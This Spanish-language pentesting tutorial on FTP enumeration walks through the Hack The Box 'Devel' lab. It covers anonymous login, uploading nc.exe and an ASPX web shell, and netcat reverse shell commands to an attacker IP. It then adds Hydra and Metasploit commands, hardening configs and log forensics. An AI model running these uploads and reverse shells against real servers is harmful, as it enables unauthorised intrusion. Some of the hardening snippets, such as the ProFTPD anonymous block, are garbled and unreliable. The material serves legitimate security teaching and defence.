¿Qué es la Enumeración FTP?
Definición: FTP (File Transfer Protocol) es un protocolo estándar de red utilizado para transferir archivos entre sistemas conectados. La enumeración FTP es el proceso sistemático de recopilación de información sobre un servidor FTP, incluyendo listados de directorios, identificación de usuarios, búsqueda de vulnerabilidades y análisis de configuraciones de seguridad.
El protocolo FTP opera típicamente en el puerto 21 y representa uno de los vectores de ataque más comunes en penetration testing debido a configuraciones inseguras frecuentes.
Vectores de Ataque FTP Comunes:
- Acceso Anónimo: Login sin credenciales válidas
- Credenciales Débiles: Usuarios con contraseñas predecibles
- Misconfiguraciones: Permisos excesivos de escritura/lectura
- Versiones Vulnerables: Software FTP desactualizado
- Banner Grabbing: Revelación de información del sistema
Impacto de Seguridad: Un servidor FTP mal configurado puede permitir acceso no autorizado al sistema de archivos, subida de malware, exfiltración de datos y establecimiento de persistencia en el sistema comprometido.
Acceso Anónimo FTP
Acceso Anónimo: Es una configuración que permite a los usuarios conectarse a un servidor FTP sin proporcionar credenciales válidas. Utilizan el nombre de usuario "anonymous" y una contraseña vacía o email como contraseña.
Características del Acceso Anónimo:
- Usuario: anonymous, ftp, guest
- Contraseña: Vacía, email del usuario, o cualquier texto
- Permisos típicos: Solo lectura (aunque puede variar)
- Directorio base: /pub, /public, /anonymous
Comandos FTP Esenciales:
# Conexión al servidor
ftp [IP_ADDRESS]
# Comandos de navegación
dir / ls # Listar archivos y directorios
pwd # Mostrar directorio actual
cd [directorio] # Cambiar directorio
# Comandos de transferencia
get [archivo] # Descargar archivo
put [archivo] # Subir archivo
mget *.txt # Descargar múltiples archivos
# Comandos de configuración
binary # Modo binario para archivos ejecutables
ascii # Modo ASCII para archivos de texto
passive # Modo pasivo (atravesar firewalls)
Caso Práctico: HTB Devel
- Objetivo: Servidor Windows con IIS y FTP anónimo habilitado
- Vector de ataque: FTP con permisos de escritura
- Técnica: Web Shell + Reverse Shell via Netcat
- Resultado esperado: Acceso completo al sistema Windows
Metodología de Explotación:
Fase 1: Reconocimiento con Nmap
Iniciamos con un escaneo completo para identificar servicios activos en el objetivo:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG allPorts
Resultado: El escaneo revela que el puerto 21 (FTP) está abierto y accesible.
Enumeración Detallada del Servicio FTP:
sudo nmap -sCV -p21 10.10.10.5 -oN targeted
Descubrimiento Crítico: El scan revela "Anonymous FTP login allowed" - confirmando que el servidor permite acceso sin autenticación.
Fase 2: Acceso FTP Anónimo
Procedemos a conectarnos al servidor FTP utilizando credenciales anónimas:
# Conexión inicial
ftp 10.10.10.5
# Credenciales de acceso
Name: anonymous
Password: [Enter - sin contraseña]
# Exploración del sistema
ftp> dir
ftp> pwd
Descubrimiento de Permisos: El servidor no solo permite acceso de lectura, sino también permisos de escritura, lo que nos permite subir archivos maliciosos.
Fase 3: Preparación del Payload
Identificamos que el servidor ejecuta IIS (Internet Information Services), por lo que preparamos herramientas específicas para Windows:
# Ubicación de Netcat en Kali Linux
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
# Subida via FTP
ftp> put nc.exe
# Ubicación de Web Shell para IIS
/usr/share/davtest/backdoors/aspx_cmd.aspx
# Subida via FTP
ftp> put aspx_cmd.aspx
Fase 4: Activación de Web Shell
Los archivos subidos se sincronizan automáticamente con el directorio web de IIS:
# URL de acceso a la Web Shell
http://10.10.10.5/aspx_cmd.aspx
# Directorio de archivos subidos en Windows
C:\\inetpub\\wwwroot\\
Fase 5: Establecimiento de Reverse Shell
Configuramos un listener en nuestra máquina atacante y ejecutamos Netcat desde la Web Shell:
# Listener con Netcat
nc -nlvp 443
# Listener con múltiples opciones de puerto
nc -nlvp 4444
nc -nlvp 1234
# Comando ejecutado desde Web Shell
C:\inetpub\wwwroot\nc.exe -e cmd 10.10.14.16 443
# Alternativas de conexión
nc.exe -e cmd.exe 10.10.14.16 4444
nc.exe -e powershell.exe 10.10.14.16 1234
Resultado Exitoso: Una vez ejecutado el comando, obtenemos una reverse shell completa con acceso al sistema Windows, permitiendo ejecución de comandos, navegación del sistema de archivos y potencial escalación de privilegios.
Herramientas de Enumeración FTP
Herramientas Automatizadas:
# Nmap Scripts FTP
nmap --script ftp-* 10.10.10.5
# FTP-Brute con Hydra
hydra -l anonymous -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.5
# Metasploit FTP Scanner
msfconsole -q -x "use auxiliary/scanner/ftp/anonymous; set RHOSTS 10.10.10.5; run"
# FTP Client con scripting
ncftp -u anonymous 10.10.10.5
Scripts Nmap para FTP:
# Detección de acceso anónimo
nmap --script ftp-anon 10.10.10.5
# Banner grabbing
nmap --script ftp-banner 10.10.10.5
# Bounce attack detection
nmap --script ftp-bounce 10.10.10.5
# Vulnerabilidades conocidas
nmap --script ftp-vuln-* 10.10.10.5
Automatización con Python:
#!/usr/bin/env python3
import ftplib
def ftp_anonymous_check(host):
try:
ftp = ftplib.FTP(host)
ftp.login('anonymous', '')
print(f"[+] Anonymous access successful on {host}")
ftp.dir() # List directory contents
ftp.quit()
return True
except Exception as e:
print(f"[-] Anonymous access failed: {e}")
return False
# Uso
ftp_anonymous_check('10.10.10.5')
Medidas de Protección FTP
Configuraciones de Seguridad Esenciales:
- Deshabilitar acceso anónimo: Requiere autenticación válida
- Implementar FTPS/SFTP: Cifrado de conexiones y datos
- Restricción de directorios: Chroot jail para usuarios FTP
- Firewall y ACLs: Limitar acceso por IP origen
- Monitoreo de logs: Detección de actividad sospechosa
Configuración Segura - vsftpd:
# Deshabilitar acceso anónimo
anonymous_enable=NO
# Habilitar SSL/TLS
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
# Configuraciones de seguridad
chroot_local_user=YES
allow_writeable_chroot=YES
seccomp_sandbox=NO
# Restringir comandos peligrosos
deny_email_enable=YES
banned_email_file=/etc/vsftpd.banned_emails
Configuración Segura - ProFTPD:
# Configuración básica de seguridad
ServerName "Secure FTP Server"
ServerType standalone
DefaultServer on
# Deshabilitar acceso anónimo
User ftp
Group nogroup
UserAlias anonymous ftp
DenyAll
# Configuración SSL/TLS
LoadModule mod_tls.c
TLSEngine on
TLSLog /var/log/proftpd/tls.log
TLSProtocol SSLv23
Detección y Forense
Indicadores de Compromiso:
- Conexiones anónimas inusuales: Picos de actividad FTP
- Archivos sospechosos: Executables o scripts en directorios web
- Transferencias de archivos: Upload/download de archivos no autorizados
- Conexiones salientes: Reverse shells o conexiones no autorizadas
Análisis de Logs FTP:
# Revisar logs de vsftpd
tail -f /var/log/vsftpd.log
# Filtrar accesos anónimos
grep "anonymous" /var/log/vsftpd.log
# Buscar transferencias de archivos
grep -E "(STOR|RETR)" /var/log/vsftpd.log
# Identificar IPs sospechosas
awk '{print $7}' /var/log/vsftpd.log | sort | uniq -c | sort -nr
Respuesta a Incidentes:
# Deshabilitar servicio FTP
systemctl stop vsftpd
systemctl disable vsftpd
# Bloquear IP atacante
iptables -A INPUT -s 10.10.14.16 -j DROP
# Revisar archivos comprometidos
find /var/ftp -type f -newer /tmp/timestamp
find /var/www -name "*.asp*" -o -name "*.php" | xargs ls -la
Consideraciones Éticas y Legales
Advertencia Legal: Las técnicas de enumeración FTP solo deben utilizarse en:
- Sistemas propios o con autorización explícita por escrito
- Entornos de pentesting con contratos legales válidos
- Plataformas de práctica autorizadas (HTB, TryHackMe, VulnHub)
- Laboratorios controlados de ciberseguridad
El acceso no autorizado a servidores FTP constituye un delito grave de intrusión informática según las legislaciones locales e internacionales.
Uso Responsable: Los profesionales de ciberseguridad deben utilizar estas técnicas únicamente para identificar y mitigar vulnerabilidades en sistemas autorizados, nunca para actividades maliciosas o no autorizadas.